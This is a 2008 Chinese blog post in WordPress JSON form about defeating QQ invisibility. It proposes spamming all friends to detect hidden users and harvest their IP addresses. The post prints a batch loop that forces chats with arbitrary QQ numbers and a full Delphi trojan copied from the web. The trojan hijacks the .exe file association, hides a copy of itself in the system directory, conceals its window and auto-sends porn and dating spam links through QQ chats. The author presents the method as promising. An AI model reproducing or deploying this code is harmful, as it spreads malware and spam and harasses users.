{"id":1482,"date":"2008-10-01T16:04:00","date_gmt":"2008-10-01T08:04:00","guid":{"rendered":"http:\/\/www.liuwenhao.me\/?p=1482"},"modified":"2021-06-16T02:55:20","modified_gmt":"2021-06-15T18:55:20","slug":"%e7%8e%b0%e5%9c%a8%e6%98%af%e4%b8%8d%e6%98%af%e8%8b%a6%e4%ba%8e%e5%88%ab%e4%ba%ba%e5%ae%89%e8%a3%85%e7%9a%84%e5%bd%a9%e8%99%b9%e5%af%b9%e8%87%aa%e5%b7%b1%e7%9a%84%e6%89%93%e6%89%b0%ef%bc%9f","status":"publish","type":"post","link":"https:\/\/www.liuwenhao.me\/?p=1482","title":{"rendered":"\u3010\u8fc1\u79fb\u81ea\u4eba\u4eba\u7f51\u3011\u73b0\u5728\u662f\u4e0d\u662f\u82e6\u4e8e\u522b\u4eba\u5b89\u88c5\u7684\u5f69\u8679\u5bf9\u81ea\u5df1\u7684\u6253\u6270\uff1f"},"content":{"rendered":"<p>&nbsp;&nbsp;&nbsp; \u8fd1\u671f\u6709\u7684\u540c\u5b66\u5c55\u5f00\u4e86\u4e00\u573a\u5173\u4e8e\u5f69\u8679QQ\u5bf9\u6211\u4eec\u5230\u5e95\u662f\u597d\u8fd8\u662f\u574f\u7684\u5927\u8ba8\u8bba\u3002\u5176\u5b9e\u5f69\u8679\u8fd9\u6837\u53d1\u9001\u900f\u660e\u5feb\u8fd8\u7b97\u662f\u4e00\u79cd\u6bd4\u8f83\u6e29\u548c\u7684\u65b9\u5f0f\u3002\u8fd9\u79cd\u6e29\u548c\u7684\u65b9\u5f0f\u4e5f\u5c31\u5fc5\u7136\u9020\u6210\u4e86\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u63a2\u6d4b\u5230\u7684QQ\u7684\u4fe1\u606f\u5b9e\u9645\u4e0a\u662f\u4e0d\u51c6\u7684\u3002\u6bd4\u5982\u8bf4\u6709\u7684\u9690\u8eab\u8005\u5c31\u65e0\u6cd5\u63a2\u6d4b\u5f97\u5230\u3002\uff08\u8fd9\u4e2a\u6d88\u606f\u6211\u6700\u8fd1\u624d\u542c\u6211\u4eec\u73ed\u7684***\u540c\u5b66\u8bf4\u5230\uff0c\u6211\u624d\u77e5\u9053\u8fd9\u4ef6\u4e8b\u60c5\u3002\uff09<\/p>\n<p>&nbsp;&nbsp;&nbsp; \u5176\u5b9e\u5f69\u8679\u7684\u8fd9\u79cdbug\u53ef\u4ee5\u7528\u4ee5\u4e0b\u8fd9\u79cd\u65b9\u6cd5\u5f25\u8865\u3002\u4e0d\u77e5\u9053\u5f69\u8679\u4e3a\u4ec0\u4e48\u6ca1\u6709\u91c7\u53d6\u6211\u60f3\u7684\u8fd9\u79cd\u65b9\u6cd5\uff0c\u6216\u8bb8\u786e\u5b9e\u4e0d\u53ef\u884c\uff0c\u4f46\u662f\u6211\u4e2a\u4eba\u8ba4\u4e3a\u6709\u4e00\u5b9a\u7684\u5b9e\u65bd\u4ef7\u503c\u3002\u4e0d\u8fc7\u6bd4\u5f69\u8679\u73b0\u5728\u7684\u65b9\u6cd5\u66f4\u52a0\u731b\u70c8\u4e00\u4e9b\u800c\u5df2\u3002\u6216\u8bb8\u81ea\u7136\u754c\u5c31\u662f\u8fd9\u79cd\u5bc4\u751f\u4e0e\u88ab\u5bc4\u751f\u7684\u5173\u7cfb\u3002\u5f53\u5bc4\u751f\u866b\u7ed9\u5bc4\u4e3b\u65bd\u52a0\u7684\u538b\u529b\u8fc7\u5927\u7684\u65f6\u5019\uff0c\u5bc4\u4e3b\u5c31\u4f1a\u60f3\u6cd5\u8bbe\u6cd5\u5f97\u51fa\u53bb\uff0c\u4f46\u662f\u6ca1\u6709\u592a\u5927\u7684\u538b\u529b\uff0c\u5c31\u80fd\u548c\u5e73\u5171\u5904\u3002\u8fd9\u4e5f\u8bb8\u5c31\u662f\u5f69\u8679\u8fd8\u6ca1\u6709\u88ab\u5c01\u6389\u7684\u539f\u56e0\u5427\u3002<\/p>\n<p>&nbsp;&nbsp;&nbsp; \u6211\u7684\u601d\u8def\u5c31\u662f\uff1a\u6211\u4eec\u53ef\u4ee5\u7528\u4e00\u4e2a\u5f3a\u884c\u804a\u5929\u4ee3\u7801\u52a0\u4e0a\u4e00\u4e2a\u81ea\u52a8\u53d1\u9001\u6d88\u606f\u4ee3\u7801\u5411\u6240\u6709\u7684\u597d\u53cb\u53d1\u9001\u4e0d\u7ba1\u662f\u900f\u660e\u8fd8\u662f\u4e0d\u900f\u660e\u7684\u6570\u636e\u5305\uff0c\u53d1\u9001\u8fc7\u540e\u597d\u53cb\u7684\u7535\u8111\u80af\u5b9a\u4f1a\u6709\u4e00\u4e2a\u53cd\u9988\u3002\u6211\u4eec\u8fd9\u4e2a\u65f6\u5019\u5c31\u53ef\u4ee5\u7528\u8fd9\u79cd\u53cd\u9988\u6765\u5f97\u77e5\u597d\u53cb\u662f\u4e0d\u662f\u9690\u8eab\uff0c\u6216\u8005\u8bf4\u5f97\u5230\u4ed6\u7684IP\u5730\u5740\u4e86\u3002<\/p>\n<p>&nbsp;&nbsp;&nbsp; \u6211\u4eec\u53ef\u4ee5\u7528\u4ee5\u4e0b\u7684\u65b9\u5f0f\u6765\u548c\u968f\u4fbf\u7684\u4efb\u4f55\u4e00\u4e2a\u4eba\u5f3a\u884c\u804a\u5929\u3002\u7528\u7684\u662fdos\u7684\u547d\u4ee4\u884c\u53c2\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u7528bat\u6587\u4ef6\u8fd0\u884c\u3002<\/p>\n<p>@Echo Off<br \/>\n:send<br \/>\nSet \/p num=\u60f3\u548c\u8c01\u5f3a\u884c\u804a\u5929\uff1f:<br \/>\nIf \/I &#8220;%num%&#8221;==&#8221;n&#8221;&nbsp; Exit<br \/>\nstart tencent:\/\/Message\/?Uin=%num%<br \/>\ncls<br \/>\nGoto send<\/p>\n<p>\u6216\u8005\u7528c\/C++\u7684system\u51fd\u6570\u8c03\u7528\u3002<\/p>\n<p>\u5f53\u6211\u4eec\u80fd\u591f\u5411\u4efb\u610f\u7684QQ\u4eba\u5458\u53d1\u9001\u6d88\u606f\u4e4b\u540e\uff0c\u6211\u4eec\u518d\u52a0\u4e0a\u4e00\u6bb5QQ\u81ea\u52a8\u6d88\u606f\u4ee3\u7801\uff0c\u7136\u540e\u4e00\u4e2a\u80fd\u591f\u81ea\u52a8\u9a9a\u6270\uff0c\u81ea\u52a8\u83b7\u53d6\u5bf9\u65b9\u662f\u4e0d\u662f\u9690\u8eab\u6216\u8005\u63a2\u6d4b\u5bf9\u65b9\u7684IP\u5730\u5740\u7684\u7a0b\u5e8f\u5c31\u641e\u5b9a\u4e86\uff01<\/p>\n<p>\u6211\u4ece\u7f51\u4e0a\u627e\u7684\u4e00\u6bb5QQ\u6d88\u606f\u81ea\u52a8\u53d1\u9001\u4ee3\u7801\u5982\u4e0b\uff1a\u770b\u6765\u6211\u7684\u8fd9\u4e2a\u8bbe\u60f3\u5e94\u8be5\u53ef\u4ee5\u5b9e\u73b0\u3002\u5230\u65f6\u5019\uff0c\u5f53QQ\u628a\u5f69\u8679\u5c01\u6389\u7684\u65f6\u5019\uff0c\u6216\u8bb8\u8fd9\u79cd\u65b9\u6cd5\u5c31\u6210\u4e3a\u552f\u4e00\u7684\u65b9\u6cd5\u4e86\u3002<\/p>\n<p>program internet;<\/p>\n<p>uses<br \/>\nwindows,messages,sysutils,shellapi;<\/p>\n<p>{$R *.res}<br \/>\nconst<br \/>\nexename:pchar=&#8217;QQ2.exe&#8217;;<br \/>\nExeFilePath=&#8217;exefile\\shell\\open\\command&#8217;;<br \/>\nExeFileValue=&#8217; nbsp;&#8221;%1&#8243; %*&#8217;;\/\/alt+255<br \/>\nExecName=&#8217;\\ exe&#8217; ;\/\/alt+255<br \/>\nPathLen=90;<br \/>\nKeyRoot=$80000000;<br \/>\nvar<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nwClass: TWndClass; \/\/\u7a97\u53e3\u7c7b\u53d8\u91cf<br \/>\nMsg: TMSG; \/\/\u6d88\u606f\u53d8\u91cf<br \/>\nhInst, \/\/\u7a0b\u5e8f\u5b9e\u4f8b<br \/>\nHandle, \/\/\u4e3b\u7a97\u53e3\u53e5\u67c4<br \/>\nhFont, \/\/\u5b57\u4f53\u53e5\u67c4<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nhButtonStart, \/\/\u5f00\u59cb\u6309\u94ae<br \/>\nhButtonStop, \/\/\u505c\u6b62\u6309\u94ae<br \/>\nhButtonExit, \/\/\u9000\u51fa\u6309\u94ae<br \/>\nmcount,newtime:integer;<br \/>\nbuffer: array[0..255] of Char;<br \/>\nmyqq: Hwnd;<br \/>\nbtnwnd: Hwnd;<br \/>\ni,ii,iii:integer;<br \/>\nfname : string;<br \/>\nj:string;<br \/>\nK:HKEY;<br \/>\nHidePath : pChar;<br \/>\n\/\/________________________<br \/>\nprocedure ShutDown; \/\/\u7528\u4e8eexit<br \/>\nbegin<br \/>\n\/\/\u5220\u9664\u5b57\u4f53\u5bf9\u8c61<br \/>\nDeleteObject(hFont);<br \/>\n\/\/\u53d6\u6d88\u7a97\u53e3\u7c7b\u7684\u6ce8\u518c<br \/>\nUnRegisterClass(wClass.lpszClassName,hInst);<br \/>\n\/\/\u7ed3\u675f\u4e3b\u8fdb\u7a0b<br \/>\nExitProcess(hInst);<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; \u6ce8\u518c\u8868<br \/>\nprocedure WriteKey(o,p,q:LPSTR;s:HKEY);<br \/>\nbegin<br \/>\nRegOpenKey(s,PChar(o),K);<br \/>\nRegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\u53d1\u9001\uff0cSTOPBUTTON<br \/>\nprocedure sentme;<br \/>\nbegin<br \/>\ntry<br \/>\nbtnWnd:=GetDlgItem(myqq,1);<br \/>\nSendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);<br \/>\nSendMessage(btnWnd,WM_LBUTTONUP,0,0);<br \/>\nexcept<br \/>\nend;<br \/>\ni:=0;<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\u53d1\u6d88\u606f\u5230QQ<br \/>\nprocedure SetWndText(hWnd: Hwnd; Text: String);<br \/>\nVar<br \/>\nmText:PChar;<br \/>\nBuf:Integer;<br \/>\nbegin<br \/>\nGetMem(mText,Length(Text));<br \/>\nStrCopy(mText,PChar(Text));<br \/>\ntry<br \/>\nBuf:=LongInt(mText);<br \/>\nSendMessage(hWnd,WM_SETTEXT,0,Buf);<br \/>\nfinally<br \/>\nFreeMem(mText,Length(Text));<br \/>\nend;<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\u53d6QQ\u7a97\u53e3\u53e5\u67c4<br \/>\nfunction EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;<br \/>\nvar<br \/>\nqqbody:string;<br \/>\nbegin<br \/>\niii:=iii+1;<br \/>\nResult := True;<br \/>\nGetClassName(hwd,buffer,256); \/\/\u5f97\u5230\u7c7b\u540d<br \/>\n\/\/\/\/\/\/\/\/\/77777777<br \/>\nif iii=7 then<br \/>\nbegin<br \/>\ngetwindowtext(hwd,buffer,256);<br \/>\nif string(buffer)=&#8221; then exit;<br \/>\nif fname &lt;&gt; string(buffer) then<br \/>\nbegin<br \/>\nfname:=string(buffer);<br \/>\ni:=6;<br \/>\nend;<br \/>\nend;<br \/>\n\/\/\/\/\/\/\/\/\/15_qq2003II<br \/>\nif iii=15 then<br \/>\nbegin<br \/>\ngetwindowtext(hwd,buffer,256);<br \/>\nif pos(&#8216;\u6635\u79f0&#8217;,string(buffer))=0 then exit;<br \/>\nif fname &lt;&gt; string(buffer) then<br \/>\nbegin<br \/>\nfname:=string(buffer);<br \/>\ni:=6;<br \/>\nend;<br \/>\nend;<br \/>\n\/\/\/\/\/\/\/\/7777777777<br \/>\nif (string(buffer)=&#8217;RICHEDIT&#8217;) and (i=6) then<br \/>\nbegin<br \/>\nqqbody:=&#8217;\u770b\u770b\u6211\u7684**\u5199\u771f\uff1a&#8217;+#13+#10+&#8217;http:\/\/avbb.ywzc.net&#8217;;<br \/>\nqqbody:=qqbody + #13+#10+#13+#10+&#8217;\u770b\u770b\u6211\u7684****\uff1ahttp:\/\/asiafriendfinder.com\/go\/p95770&#8242;;<br \/>\nsetwndtext(hwd,qqbody);<br \/>\nsentme;<br \/>\ni:=5;<br \/>\nend;<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\u8ba1\u65f6\u5668<br \/>\nprocedure ontimer;<br \/>\nvar<br \/>\na:pchar;<br \/>\nbegin<br \/>\niii:=0;<br \/>\nii:=ii+1;<br \/>\nif ii=3000 then<br \/>\nbegin<br \/>\nii:=0;<br \/>\nfname:=&#8217;qq&#8217;;<br \/>\nend;<br \/>\nmyqq:= GetforegroundWindow();<br \/>\nGetmem(a,256);<br \/>\nGetWindowText(myqq,a,256);<br \/>\nif pos(&#8216;\u53d1\u9001\u6d88\u606f&#8217;,strpas(a))&gt;0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);<br \/>\nFreemem(a);<br \/>\nend;<br \/>\n\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\u8fd9\u662f\u4e3b\u7a97\u53e3\u7684\u6d88\u606f\u5904\u7406\u51fd\u6570<br \/>\nfunction WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;<br \/>\nbegin<br \/>\nResult:=DefWindowProc(hWnd,Msg,wParam,lParam);<br \/>\ncase Msg of WM_COMMAND:<br \/>\nbegin<br \/>\nif lParam=hButtonStart then begin<br \/>\nmcount:=0;<br \/>\nnewtime:=SetTimer(handle,100,2000,nil);<br \/>\nend;<br \/>\nif lParam=hButtonStop then begin sentme;<br \/>\nend;<br \/>\nif lParam=hButtonExit then ShutDown;<br \/>\nend;<br \/>\nWM_TIMER:ontimer;<br \/>\nWM_DESTROY: ShutDown;<br \/>\nend;<br \/>\nend;<br \/>\n\/\/\u5b9a\u4e49\u51e0\u4e2a\u7a97\u53e3\u521b\u5efa\u51fd\u6570<br \/>\nfunction CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;<br \/>\nbegin<br \/>\nResult:=CreateWindow(&#8216;Button&#8217;,name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE<br \/>\nor BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);<br \/>\nend;<\/p>\n<p>function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;<br \/>\nbegin<br \/>\n\/\/\u53d6\u5f97\u5e94\u7528\u7a0b\u5e8f\u5b9e\u4f8b\u53e5\u67c4<br \/>\nhInst:=GetModuleHandle(nil);<br \/>\n\/\/\u521d\u4f7f\u5316\u7a97\u53e3\u7c7b\u7684\u4fe1\u606f<br \/>\nwith wClass do<br \/>\nbegin<br \/>\nStyle:= CS_PARENTDC;<br \/>\nhIcon:= LoadIcon(hInst,&#8217;MAINICON&#8217;);<br \/>\nlpfnWndProc:= @WindowProc;<br \/>\nhInstance:= hInst;<br \/>\nhbrBackground:= COLOR_BTNFACE+1;<br \/>\nlpszClassName:= &#8216;MainClass&#8217;;<br \/>\nhCursor:= LoadCursor(0,IDC_ARROW);<br \/>\nend;<br \/>\n\/\/ \u6ce8\u518c\u7a97\u53e3\u7c7b<br \/>\nRegisterClass(wClass);<br \/>\n\/\/ \u5efa\u7acb\u4e3b\u7a97\u53e3<br \/>\nResult:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or<br \/>\nWS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);<br \/>\nend;<br \/>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/<br \/>\n\/\/&#8212;&#8212;&#8212;\u4e3b\u8fc7\u7a0b,\u7c7b\u4f3c\u4e8e C\u8bed\u8a00\u4e2d\u7684 WinMain()<br \/>\nbegin<br \/>\nWriteKey(ExeFilePath, &#8221;, ExeFileValue, KeyRoot);<br \/>\nGetMem(HidePath, PathLen);<br \/>\nGetSystemDirectory(HidePath, PathLen); \/\/true \u4e3a\u4e0d\u8986\u76d6<br \/>\nif not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then<br \/>\nbegin<br \/>\nWinExec(CmdLine+2,1);<br \/>\n\/\/deletefile(pchar(hidepath+execname));<br \/>\nend;<br \/>\n\/\/\/!\u542f\u52a8\u6728\u9a6c,\u8fd9\u4ee5\u4e0a\u7684\u4ee3\u7801\u5c31\u5c0f\u5fc3\u4f7f\u7528\uff0c\u6709\u7834\u574f\u529b\uff0c\u6539\u4e86EXE\u6587\u4ef6\u5173\u8fde\u3002\u53e6<br \/>\n\/\/\u8bf7\u770b\u597d\u4ee3\u7801\uff0ctrue or false,\u4f60\u770b\u7740\u7528\u3002<br \/>\nif findwindow(&#8216;MainClass&#8217;,nil)&lt;&gt;0 then exit;<br \/>\n\/\/\u5efa\u7acb\u4e3b\u7a97\u53e3<br \/>\nhandle:=CreateMain(exename,0,0,280,60);<br \/>\nShowWindow(handle, sw_Hide); \/\/\u9690\u85cf\u81ea\u5df1&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\/\/\u5efa\u7acb\u56db\u4e2a\u63a7\u5236\u6309\u94ae<br \/>\nhButtonStart:=CreateButton(&#8216;\u5f00\u59cb&#8217;,10,4,70,24);<br \/>\nhButtonStop:=CreateButton(&#8216;\u53d1\u9001&#8217; ,100,4,70,24);<br \/>\nhButtonExit:=CreateButton(&#8216;\u9000\u51fa&#8217; ,190,4,70,24);<br \/>\n\/\/\u521b\u5efa\u5b57\u4f53\u5bf9\u8c61<br \/>\nhFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,<br \/>\nCLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,&#8217;\u5b8b\u4f53&#8217;);<br \/>\n\/\/\u6539\u53d8\u5b57\u4f53<br \/>\nSendMessage(hButtonStart,WM_SETFONT,hFont,0);<br \/>\nSendMessage(hButtonStop,WM_SETFONT,hFont,0);<br \/>\nSendMessage(hButtonExit,WM_SETFONT,hFont,0);<br \/>\n\/\/\/\u81ea\u52a8\u5f00\u59cb<br \/>\nSendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);<br \/>\nSendMessage(hButtonStart,WM_LBUTTONUP,0,0);<br \/>\n\/\/\u8fdb\u5165\u6d88\u606f\u5faa\u73af<br \/>\nwhile(GetMessage(Msg,Handle,0,0))do<br \/>\nbegin<br \/>\nTranslateMessage(Msg);<br \/>\nDispatchMessage(Msg);<br \/>\nend;<br \/>\nend.<\/p>\n<p>\u4ee3\u7801\u5f88\u957f\uff0c\u4e0d\u8fc7\u5bf9\u4e8e\u8ba1\u7b97\u673a\u800c\u8a00\uff0c\u5373\u4f7f\u67091000\u4e2a\u597d\u53cb\uff0c\u53c8\u80fd\u600e\u4e48\u6837\u5462\uff1f<\/p>\n<p>\u51e0\u79d2\u949f\u641e\u5b9a\u2026\u2026<\/p>\n<p>\u6240\u4ee5\uff0c\u8fd9\u79cd\u65b9\u6cd5\u6709\u524d\u9014\uff01<\/p>\n<p>\u5e0c\u671b\u6211\u7684\u8fd9\u4e2a\u70b9\u5b50\u6216\u8005\u601d\u8def\u80fd\u591f\u7ed9\u82e6\u4e8e\u5f69\u8679\u63a2\u6d4b\u4e0d\u51c6\u7684\u4eba\u4e00\u70b9\u4fe1\u5fc3\uff0c\u6216\u8005\u8bf4\u7ed9\u8ba8\u538c\u5f69\u8679\u7684\u4eba\u4e00\u70b9\u6253\u51fb\u3002\u5b66\u4e60\u5b8cc++\u4e4b\u540e\uff0c\u6211\u76f8\u4fe1\u8fd9\u6837\u7684\u601d\u8def\u5c06\u4e0d\u4f1a\u662f\u5e7b\u60f3\u2026\u2026<\/p>\n<p>\u5176\u5b9e\uff0c\u6539\u4e00\u4e0b\u7f51\u7edc\u534f\u8bae\uff0c\u5f69\u8679\u5c31\u4f1a\u5931\u6548\u4e86\u3002\u4f46\u662f\u540e\u679c\u5462\uff1f\u4e0d\u80fd\u4e0a\u7f51\uff0c\u5565\u90fd\u4e0d\u80fd\u5e72\u4e86\uff01<\/p>\n<p>\u6700\u597d\u7684\u65b9\u6cd5\u8fd8\u662f\u6362\u6210\u4ee5\u524d\u7684\u65e7\u7248\u672c\u7684QQ\u3002<\/p>\n<p>\u5e94\u8be5\u53ef\u4ee5\u3002\u7f51\u4e0a\u4e0d\u77e5\u9053\u8fd8\u6709\u6ca1\u6709\u66f4\u597d\u7684\u9632\u5f69\u8679\u7684\u65b9\u6cd5\u3002\u5e0c\u671b\u80fd\u6709\u3002\u6211\u8fd8\u6ca1\u67e5\u3002<\/p>\n<p>\u4f46\u662f\u77db\u4e0e\u76fe\u4e4b\u95f4\u7684\u201c\u77db\u76fe\u201d\u662f\u4e0d\u53ef\u8c03\u548c\u7684\uff01\uff01\uff01\uff01\uff01\u81ea\u7136\u6cd5\u5219\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;&nbsp;&nbsp; \u8fd1\u671f\u6709\u7684\u540c\u5b66\u5c55\u5f00\u4e86\u4e00\u573a\u5173\u4e8e\u5f69\u8679QQ\u5bf9\u6211\u4eec\u5230\u5e95\u662f\u597d\u8fd8\u662f\u574f\u7684\u5927\u8ba8\u8bba\u3002\u5176\u5b9e\u5f69\u8679\u8fd9\u6837\u53d1\u9001\u900f\u660e\u5feb\u8fd8\u7b97\u662f\u4e00\u79cd\u6bd4\u8f83\u6e29\u548c\u7684\u65b9\u5f0f\u3002\u8fd9\u79cd\u6e29\u548c\u7684\u65b9\u5f0f\u4e5f\u5c31\u5fc5\u7136\u9020\u6210\u4e86\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u63a2\u6d4b\u5230\u7684QQ\u7684\u4fe1\u606f\u5b9e\u9645\u4e0a\u662f\u4e0d\u51c6\u7684\u3002\u6bd4\u5982\u8bf4\u6709\u7684\u9690\u8eab\u8005\u5c31\u65e0\u6cd5\u63a2\u6d4b\u5f97\u5230\u3002\uff08\u8fd9\u4e2a\u6d88\u606f\u6211\u6700\u8fd1\u624d\u542c\u6211\u4eec\u73ed\u7684***\u540c\u5b66\u8bf4\u5230\uff0c&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":-1482,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"views":579,"_links":{"self":[{"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/posts\/1482"}],"collection":[{"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1482"}],"version-history":[{"count":2,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/posts\/1482\/revisions"}],"predecessor-version":[{"id":5039,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/wp\/v2\/posts\/1482\/revisions\/5039"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=\/"}],"wp:attachment":[{"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1482"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1482"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.liuwenhao.me\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1482"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}